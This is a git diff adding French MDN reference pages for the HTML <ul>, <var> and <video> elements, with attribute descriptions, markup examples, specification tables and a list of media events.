+ <div class="warning"><strong>Attention !</strong>Cet attribut a été déprécié et ne doit pas être utilisé. Pour obtenir le même effet, on pourra utiliser la propriété {{cssxref("line-height")}} avec la valeur <code>80%</code> pour l'élément <code>&lt;ul&gt;</code>.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("type")}}{{Deprecated_inline}}</dt>
+ <dd>Cet attribut permet de définir le style de puce utilisé pour la liste. Les valeurs définies au sein des spécifications pour HTML3.2 et HTML 4.0/4.01 sont :
+ <ul>
+  <li><code>circle</code>,</li>
+  <li><code>disc</code>,</li>
+  <li>and <code>square</code>.</li>
+ </ul>
+
+ <p>Un quatrième type a été défini dans l'interface WebTV : <code>triangle</code> mais tous les navigateurs ne l'implémentent pas.</p>
+
+ <div class="warning"><strong>Attention !</strong>Cet attribut a été déprécié et ne doit pas être utilisé. Pour obtenir le même effet, on pourra utiliser la propriété CSS {{cssxref("list-style-type")}} à la place.</div>
+ </dd>
+</dl>
+
+<h2 id="Notes_d'utilisation">Notes d'utilisation</h2>
+
+<ul>
+ <li>L'élément <code>&lt;ul&gt;</code> doit être utilisé pour regrouper plusieurs éléments qui n'ont pas de relation d'ordre. Si on hésite entre {{HTMLElement("ol")}} et {{HTMLElement("ul")}}, on se demandera si changer l'ordre des éléments de la liste a un impact : si le déplacement d'un élément change la signification, cela signifie que l'ordre est important et qu'il faudra utiliser {{HTMLElement("ol")}}, sinon l'ordre n'importe pas et {{HTMLElement("ul")}} peut être utilisé.</li>
+ <li>La propriété CSS {{cssxref("list-style-type")}} est utile pour choisir le type de puce utilisé.</li>
+ <li>Il n'y a pas de limite pour l'imbrication des listes avec les éléments {{HTMLElement("ol")}} et {{HTMLElement("ul")}}.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;1 artichaut&lt;/li&gt;
+  &lt;li&gt;De l'essuie-tout&lt;/li&gt;
+  &lt;li&gt;200g de chocolat&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Exemple_simple","100%","150")}}</p>
+
+<h3 id="Liste_imbriquée">Liste imbriquée</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;1 artichaut&lt;/li&gt;
+  &lt;li&gt;Les trucs pour le gateau
+  &lt;!-- On voit que &lt;/li&gt; n'est pas là --&gt;
+    &lt;ul&gt;
+      &lt;li&gt;3 oeufs&lt;/li&gt;
+      &lt;li&gt;La génoise
+      &lt;!-- Là on ouvre une autre liste --&gt;
+        &lt;ul&gt;
+          &lt;li&gt;100g de sucre&lt;/li&gt;
+          &lt;li&gt;1 oeuf&lt;/li&gt;
+          &lt;li&gt;150g de farine&lt;/li&gt;
+        &lt;/ul&gt;
+      &lt;/li&gt; &lt;!-- On ferme la liste la plus imbriquée --&gt;
+      &lt;li&gt;200g de chocolat&lt;/li&gt;
+    &lt;/ul&gt;
+  &lt;!-- On ferme la liste imbriquée avec &lt;/li&gt; --&gt;
+  &lt;/li&gt;
+  &lt;li&gt;De l'essuie-tout&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Liste_imbriquée","100%","230")}}</p>
+
+<h3 id="&lt;ul>_et_&lt;ol>_imbriqués"><code>&lt;ul&gt;</code> et <code>&lt;ol&gt;</code> imbriqués</h3>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;Lire un livre&lt;/li&gt;
+  &lt;li&gt;Préparer une soupe
+    &lt;ol&gt;
+      &lt;li&gt;Couper les légumes&lt;/li&gt;
+      &lt;li&gt;Mettre dans l'eau et cuire&lt;/li&gt;
+      &lt;li&gt;Mouliner&lt;/li&gt;
+    &lt;/ol&gt;
+  &lt;/li&gt;
+  &lt;li&gt;Relever le courrier&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h4 id="Résultat_3">Résultat</h4>
+
+<p>{{EmbedLiveSample("&lt;ul&gt;_et_&lt;ol&gt;_imbriqués","100%","180")}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, et du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a> si les enfants de l'élément <code>&lt;ul&gt;</code> incluent au moins un élément {{HTMLElement("li")}}. <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">Contenu tangible.</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td>Zéro ou plusieurs éléments {{HTMLElement("li")}} qui peuvent éventuellement contenir à leur tour des éléments {{HTMLElement("ol")}} ou {{HTMLElement("ul")}} (listes imbriquées).</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément qui accepte du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">contenu de flux</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>{{ARIARole("directory")}}, {{ARIARole("group")}}, {{ARIARole("listbox")}}, {{ARIARole("menu")}}, {{ARIARole("menubar")}}, {{ARIARole("radiogroup")}}, {{ARIARole("tablist")}}, {{ARIARole("toolbar")}}, {{ARIARole("tree")}}, {{ARIARole("presentation")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLUListElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-ul-element', '&lt;ul&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-ul-element', '&lt;ul&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.ul")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres éléments HTML relatifs aux listes : {{HTMLElement("ol")}}, {{HTMLElement("li")}}, {{HTMLElement("menu")}} (et l'élément obsolète {{HTMLElement("dir")}}).</li>
+ <li>Les propriétés CSS particulièrement utiles pour mettre en forme l'élément <code>&lt;ul&gt;</code> :
+  <ul>
+   <li>La propriété {{cssxref("list-style")}} qui permet de choisir la façon dont l'indicateur ordinal est affiché,</li>
+   <li><a href="/fr/docs/Web/CSS/Compteurs_CSS">Les compteurs CSS</a>, qui permettent de gérer des listes imbriquées complexes,</li>
+   <li>La propriété {{cssxref("line-height")}} qui permet de simuler l'attribut {{htmlattrxref("compact", "ul")}} désormais déprécié,</li>
+   <li>La propriété {{cssxref("margin")}} peut être utilisée pour contrôler l'indentation de la liste.</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/html/element/var/index.html b/files/fr/web/html/element/var/index.html
new file mode 100644
index 0000000000..f24dd65366
--- /dev/null
+++ b/files/fr/web/html/element/var/index.html
@@ -0,0 +1,140 @@
+---
+title: '<var> : l''élément de variable'
+slug: Web/HTML/Element/var
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/var
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;var&gt;</code></strong> représente une variable dans une expression mathématique ou un texte lié à la programmation. Son contenu est généralement représenté avec une version italique de la police environnante utilisée, toutefois, ce comportement peut dépendre du navigateur utilisé.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/var.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément inclut <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<h2 id="Notes_d'utilisation">Notes d'utilisation</h2>
+
+<h3 id="Éléments_associés">Éléments associés</h3>
+
+<p>Voici d'autres éléments qui sont fréquemment utilisés dans les contextes où <code>&lt;var&gt;</code> est utilisé :</p>
+
+<ul>
+ <li>{{HTMLElement("code")}}</li>
+ <li>{{HTMLElement("kbd")}}</li>
+ <li>{{HTMLElement("samp")}}</li>
+</ul>
+
+<p>Si vous trouvez un élément <code>&lt;var&gt;</code> utilisé uniquement pour la mise en forme, il est préférable de remplacer celui-ci par un élément {{HTMLElement("span")}} auquel on appliquera les règles CSS souhaitées.</p>
+
+<h3 id="Mise_en_forme_par_défaut">Mise en forme par défaut</h3>
+
+<p>La plupart des navigateurs appliquent la propriété {{cssxref("font-style")}} avec la valeur <code>"italic"</code> lors de l'affichage d'un élément <code>&lt;var&gt;</code>. Ce comportement peut être surchargé par la feuille de style CSS du site :</p>
+
+<pre class="brush: css">var {
+  font: bold 15px "Courier", "Courier New", monospace;
+}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush:html">&lt;p&gt;
+  Une équation simple :
+  &lt;var&gt;x&lt;/var&gt; = &lt;var&gt;y&lt;/var&gt; + 2
+&lt;/p&gt;
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Exemple_simple","650","80")}}</p>
+
+<h3 id="Surcharger_la_mise_en_forme_par_défaut">Surcharger la mise en forme par défaut</h3>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">var {
+  font: bold 15px "Courier", "Courier New", monospace;
+}</pre>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;
+  Les variables &lt;var&gt;minSpeed&lt;/var&gt; et &lt;var&gt;maxSpeed&lt;/var&gt; contrôlent les
+  vitesses minimale et maximale de l'appareil et sont exprimées en tours
+  par minute.
+&lt;/p&gt;</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Surcharger_la_mise_en_forme_par_défaut","650","120")}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phrasé">contenu phrasé</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phrasé">Contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément qui accepte du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phrasé">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Tous les rôles sont autorisés.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-var-element', '&lt;var&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-var-element', '&lt;var&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une<em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.var")}}</p>
diff --git a/files/fr/web/html/element/video/index.html b/files/fr/web/html/element/video/index.html
new file mode 100644
index 0000000000..0b4e77d045
--- /dev/null
+++ b/files/fr/web/html/element/video/index.html
@@ -0,0 +1,411 @@
+---
+title: <video>
+slug: Web/HTML/Element/video
+tags:
+  - Element
+  - HTML
+  - Media
+  - Multimedia
+  - Reference
+  - Video
+  - Web
+translation_of: Web/HTML/Element/video
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;video&gt;</code></strong> intègre un contenu vidéo dans un document.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/video.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>L'exemple précédent illustre comment utiliser l'élément <code>&lt;video&gt;</code> simplement, à la façon d'un élément {{htmlelement("img")}}. Le chemin vers le média à afficher est fourni via l'attribut <code>src</code> et on peut inclure d'autres attributs afin de spécifier la largeur et la hauteur, la lecture automatique et/ou en boucle, les contrôles affichés, etc.</p>
+
+<p>Le contenu fourni entre les balises <code>&lt;video&gt;&lt;/video&gt;</code> est affiché comme contenu alternatif par les navigateurs qui ne prennent pas en charge l'élément.</p>
+
+<p>Les navigateurs ne prennent pas en charge <a href="/fr/docs/Web/HTML/Formats_pour_audio_video">l'ensemble des formats vidéo</a> et il est possible de fournir plusieurs sources grâce à des éléments {{htmlelement("source")}}, le navigateur utilisera la première ressource dont il connaît le format :</p>
+
+<pre class="brush: html">&lt;video controls&gt;
+  &lt;source src="maVideo.mp4" type="video/mp4"&gt;
+  &lt;source src="maVideo.webm" type="video/webm"&gt;
+  &lt;p&gt;Votre navigateur ne prend pas en charge les vidéos HTML5.
+     Voici &lt;a href="myVideo.mp4"&gt;un lien pour télécharger la vidéo&lt;/a&gt;.&lt;/p&gt;
+&lt;/video&gt;</pre>
+
+<p>Quelques notes d'utilisation :</p>
+
+<ul>
+ <li>Si l'attribut <code>controls</code> n'est pas indiqué, la vidéo n'incluera pas les contrôles par défaut du navigateurs et il est nécessaire de fournir ses propres contrôles en utilisant JavaScript et l'API {{domxref("HTMLMediaElement")}} API. Voir l'article <a href="/fr/docs/Web/Apps/Fundamentals/Audio_and_video_delivery/cross_browser_video_player">créer un lecteur vidéo multi-navigateurs</a> pour plus de détails.</li>
+ <li>L'API <code>HTMLMediaElement</code> déclenche de nombreux <a href="/fr/docs/Web/Guide/DOM/Events/evenement_medias">évènements</a> qui permettent d'avoir un contrôle précis sur l'audio et la vidéo.</li>
+ <li>La propriété {{cssxref("object-position")}} permet d'ajuster la position de la vidéo dans le cadre du lecteur et la propriété {{cssxref("object-fit")}} permet de contrôler l'ajustement de la taille de la vidéo dans le cadre.</li>
+ <li>Afin de fournir des sous-titres et légendes à la vidéo, on peut utiliser du code JavaScript ainsi que des éléments {{htmlelement("track")}} au format <a href="/fr/docs/Web/API/WebVTT_API">WebVTT</a>. Voir l'article <a href="/fr/docs/Web/Apps/Build/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video">Ajouter des sous-titres et légendes à une vidéo HTML5</a> pour plus d'informations.</li>
+</ul>
+
+<p>Pour apprendre les bases concernant <code>&lt;video&gt;</code>, nosu vous conseillons de consulter <a href="/fr/docs/Apprendre/HTML/Multimedia_and_embedding/Contenu_audio_et_video">le tutoriel sur le contenu audio et video</a>.</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>À l'instar des autres éléments HTML, cet élément inclut <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("autoplay")}}</dt>
+ <dd>Un attribut booléen qui indique que la vidéo doit automatiquement être lancée dès qu'elle peut être jouée sans être arrêtée par le chargement des données.</dd>
+ <dd>
+ <p class="note"><strong>Note :</strong> la lecture automatique peut être source de nuisance pour les utilisateurs. Mieux vaut l'éviter lorsque c'est possible ou proposer à l'utilisateur de choisir cette option. Cette valeur peut être utile lors de la création de vidéos dont la source sera définie <em>a posteriori</em>.</p>
+
+ <p class="note"><strong>Note :</strong> Cet attribut est un attribut booléen et indiquer <code>autoplay="false"</code> ne suffira pas à retirer la lecture automatique. Pour ce faire, il faut complètement retirer l'attribut.</p>
+
+ <p class="note"><strong>Note :</strong>  Pour certains navigateurs (ex. Chrome 70), l'attribut <code>autoplay</code> ne fonctionne pas si aucun attribut <code>mute</code>n'est présent.</p>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("buffered")}}</dt>
+ <dd>Un attribut qui peut être lu afin de déterminer l'intervalle temporel mis en mémoire tampon. Cet attribut contient un objet {{domxref("TimeRanges")}}.</dd>
+ <dt>{{htmlattrdef("controls")}}</dt>
+ <dd>Si cet attribut est présent, le navigateur affichera des contrôles pour permettre à l'utilisateur de contrôler la lecture de la vidéo, le volume et la mise sur pause.</dd>
+ <dt>{{htmlattrdef("controlslist")}} {{experimental_inline}}</dt>
+ <dd>L'attribut <code>controlslist</code>, lorsqu'il est indiqué, aide le navigateur à choisir les contrôles à afficher pour la manipulation du média lorsque l'attribut <code>controls</code> est utilisé.</dd>
+ <dd>Les valeurs autorisées pour cet attribut sont <code>nodownload</code>, <code>nofullscreen</code> et <code>noremoteplayback</code>.<br>
+ On utilisera l'attribut <code>disablePictureInPicture</code> afin de désactiver ce mode et les contrôles associés.</dd>
+ <dt>{{htmlattrdef("crossorigin")}}</dt>
+ <dd>Cet attribut à valeur contrainte permet d'indiquer si le CORS doit être utilisé pour récupérer la vidéo. <a href="https://developer.mozilla.org/fr/docs/Web/HTML/Images_avec_le_contr%C3%B4le_d_acc%C3%A8s_HTTP">Les ressources avec le CORS activé</a> peuvent être réutilisées dans un élément {{HTMLElement("canvas")}} sans le <em>corrompre</em>. Les valeurs autorisées sont :
+ <ul>
+  <li><code>anonymous</code> : une requête <em>cross-origine</em> est envoyée sans information d'authentification. Autrement dit, un en-tête HTTP {{HTTPHeader("Origin")}} est envoyé, sans cookie, certificat X.509 ou sans authentification HTTP simple. Si le serveur ne fournit pas d'informations d'authentification au site d'origine (c'est-à-dire en n'envoyant pas l'en-tête HTTP {{HTTPHeader("Access-Control-Allow-Origin")}}), la vidéo sera corrompue et son utilisation sera restreinte.</li>
+  <li><code>use-credentials</code> : une requête <em>cross-origine</em> est envoyée avec une information d'authentification. Autrement dit, un en-tête HTTP <code>Header</code> est envoyé, avec un cookie, une certification ou une authentification HTTP simple. Si le serveur ne fournit pas d'informations d'authentification au site d'origine (c'est-à-dire en n'envoyant pas l'en-tête HTTP {{HTTPHeader("Access-Control-Allow-Origin")}}), la vidéo sera corrompue et son utilisation sera restreinte.</li>
+ </ul>
+ Lorsque cet attribut n'est pas présent, la ressource est récupérée sans requête CORS (l'en-tête HTTP {{HTTPHeader("Origin")}}) n'est pas envoyé) et elle ne peut pas être utilisée dans un élément {{HTMLElement('canvas')}}. Si la valeur est invalide, elle sera gérée comme si le mot-clé <code>anonymous</code> était utilisé. Pour plus d'informations, consulter l'article sur <a href="/fr/docs/Web/HTML/Reglages_des_attributs_CORS">les attributs de paramétrage du CORS</a>.</dd>
+ <dt>{{htmlattrdef("height")}}</dt>
+ <dd>La hauteur de la zone où afficher la vidéo, exprimée en pixels CSS (en valeur absolue uniquement).</dd>
+ <dt>{{htmlattrdef("intrinsicsize")}} {{experimental_inline}}</dt>
+ <dd>Cet attribut indique au navigateur d'ignorer la taille intrinsèque de la vidéo et de la dimensionner avec la taille définie par cet attribut. La vidéo aura les dimensions indiquées et le rapport <code>naturalWidth</code>/<code>naturalHeight</code> renverra les valeurs fournies par cet attribut. <a href="https://github.com/ojanvafai/intrinsicsize-attribute">Explications</a>, <a href="https://googlechrome.github.io/samples/intrinsic-size/index.html">exemples</a></dd>
+ <dt>{{htmlattrdef("loop")}}</dt>
+ <dd>Un attribut booléen, qui, lorsqu'il est présent, indique que la vidéo doit être jouée en boucle.</dd>
+ <dt>{{htmlattrdef("muted")}}</dt>
+ <dd>Un attribut booléen qui indique s'il faut couper le son contenu dans la vidéo. Si cet attribut est utilisé, le son sera coupé au lancement de la vidéo. Par défaut, quand l'attribut est absent, le son sera utilisé lors de la lecture de la vidéo.</dd>
+ <dt><code><a href="https://wicg.github.io/picture-in-picture/#disable-pip">disablePictureInPicture</a></code> {{experimental_inline}}</dt>
+ <dd>Empêche le navigateur de suggérer un menu contextuel pour la superposition d'une image/vidéo ("<em>Picture-in-picture</em>") ou de demander l'activation automatique pour la superposition du média.</dd>
+ <dt>{{htmlattrdef("playsinline")}}</dt>
+ <dd>Un attribut booléen qui indique que la vidéo doit être jouée en incise, c'est-à-dire au sein de la zone de lecture de l'élément. À noter : l'absence de cet attribut n'implique pas que la vidéo sera lancée en plein écran.</dd>
+ <dt>{{htmlattrdef("preload")}}</dt>
+ <dd>Cet attribut à valeur contrainte est une indication destinée au navigateur sur la meilleure façon de charger la vidéo (selon l'auteur de la page). Il peut prendre l'une des valeurs suivantes :
+ <ul>
+  <li><code>none</code> : la vidéo ne doit pas être préchargée.</li>
+  <li><code>metadata</code> : seules les métadonnées de la vidéo (sa durée par exemple) sont récupérées.</li>
+  <li><code>auto</code> : le fichier entier peut être téléchargé, même si l'utilisateur ne s'en sert pas.</li>
+  <li>la chaîne de caractères vide (<code>""</code>) : synonyme de la valeur <code>auto</code>.</li>
+ </ul>
+
+ <p>La valeur par défaut peut être différente selon le navigateur. La spécification conseille d'utiliser la valeur <code>metadata</code>.</p>
+
+ <div class="note"><strong>Notes d'utilisation :</strong>
+
+ <ul>
+  <li>L'attribut <code>autoplay</code> a la priorité sur <code>preload</code>. Si <code>autoplay</code> est défini, le navigateur doit nécessairement télécharger la vidéo pour la lancer.</li>
+  <li>Cet attribut est simplement une indication, la spécification ne force pas le navigateur à respecter la valeur de cet attribut.</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("poster")}}</dt>
+ <dd>Une URL qui contient une vignette à afficher tant que la vidéo est en cours de téléchargement. Si cet attribut n'est pas utilisé, rien n'est affiché jusqu'à ce que la première image de la vidéo soit disponible, ensuite, c'est cette image qui est affichée comme vignette sur la vidéo.</dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>L'URL de la vidéo à intégrer. Cet attribut est optionnel, l'élément {{HTMLElement("source")}} peut également être utilisé dans l'élément <code>&lt;video&gt;</code> afin d'indiquer la vidéo à intégrer.</dd>
+ <dt>{{htmlattrdef("width")}}</dt>
+ <dd>La largeur de la zone où afficher la vidéo, exprimée en pixels CSS (en valeur absolue uniquement).</dd>
+</dl>
+
+<h2 id="Évènements">Évènements</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Nom</th>
+   <th scope="col">Condition de déclenchement</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{domxref("ScriptProcessorNode.audioprocess_event","audioprocess")}}{{Deprecated_Inline}}</td>
+   <td>La mémoire tampon en entrée d'un {{DOMxRef("ScriptProcessorNode")}} peut désormais être traité.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.canplay_event", 'canplay')}}</td>
+   <td>Le navigateur peut lire le média mais estime que trop peu de données ont été chargées pour lire le média jusqu'à sa fin (il faudra vraisemblablement un arrêt pour un chargement en mémoire tampon).</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.canplaythrough_event", 'canplaythrough')}}</td>
+   <td>Le navigateur estime qu'il peut lire le média jusqu'à sa fin, sans avoir à interrompre la lecture par du chargement en mémoire tampon.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("OfflineAudioContext.complete_event", "complete")}}</td>
+   <td>Le rendu d'un {{DOMxRef("OfflineAudioContext")}} est terminé.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.durationchange_event", 'durationchange')}}</td>
+   <td>L'attribut <code>duration</code> a été mis à jour.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.emptied_event", 'emptied')}}</td>
+   <td>Le média est devenu vide. Cela peut par exemple se produire lorsque le média a déjà été (partiellement ou complètement) chargé et que la méthode <a href="/fr/docs/Web/API/HTMLMediaElement/load" rel="internal"><code>load()</code></a> est invoquée pour le recharger.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.ended_event", 'ended')}}</td>
+   <td>La lecture a été interrompue car la fin du média est atteinte.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.loadeddata_event", 'loadeddata')}}</td>
+   <td>La première <em>frame</em> du média a été chargée.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.loadedmetadata_event", 'loadedmetadata')}}</td>
+   <td>Les métadonnées ont été chargées.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.pause_event", 'pause')}}</td>
+   <td>La lecture a été mise en pause.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.play_event", 'play')}}</td>
+   <td>La lecture a démarré.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.playing_event", 'playing ')}}</td>
+   <td>La lecture est prête à être lancée après avoir été mise en pause ou interrompue pour un chargement en mémoire de données.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.progress_event", 'progress')}}</td>
+   <td>Évènement déclenché périodiquement lorsque le navigateur charge une ressource.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.ratechange_event", 'ratechange')}}</td>
+   <td>La vitesse de lecture a changé.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.seeked_event", 'seeked')}}</td>
+   <td>Une opération de déplacement du curseur de lecture (<em>seek</em>) est terminée.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.seeking_event", 'seeking')}}</td>
+   <td>L'agent utilisateur tente de récupérer les données associées au média mais les données ne parviennent pas.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.stalled_event", 'stalled')}}</td>
+   <td>L'agent utilisateur tente de récupérer les données associées au média mais les données ne parviennent pas.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.suspend_event", 'suspend')}}</td>
+   <td>Le chargement des données du média ont été suspendues.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.timeupdate_event", 'timeupdate')}}</td>
+   <td>Le temps décrit par l'attribut <code>currentTime</code> a été mis à jour.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.volumechange_event", 'volumechange')}}</td>
+   <td>Le volume a été modifié.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.waiting_event", 'waiting')}}</td>
+   <td>La lecture a été interrompue en raison d'un manque temporaire de données.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Notes_dutilisation">Notes d'utilisation</h2>
+
+<h3 id="Mise_en_forme_avec_CSS">Mise en forme avec CSS</h3>
+
+<p>L'élément <code>&lt;video&gt;</code> est un élément remplacé et, pour cet élément, la valeur initiale de {{cssxref("display")}} est <code>inline</code> mais la hauteur et la largeur du cadre sont définies par les caractéristiques de la vidéo embarquée.</p>
+
+<p>On peut changer la valeur de <code>display</code> en <code>block</code> afin de simplifier le positionnement et le dimensionnement. L'article <a href="/fr/docs/Web/Apps/Fundamentals/Audio_and_video_delivery/Video_player_styling_basics">Bases de la mise en forme d'un lecteur vidéo</a> fournit différentes techniques de mise en forme.</p>
+
+<h3 id="Détecter_lajout_et_la_suppression_de_pistes">Détecter l'ajout et la suppression de pistes</h3>
+
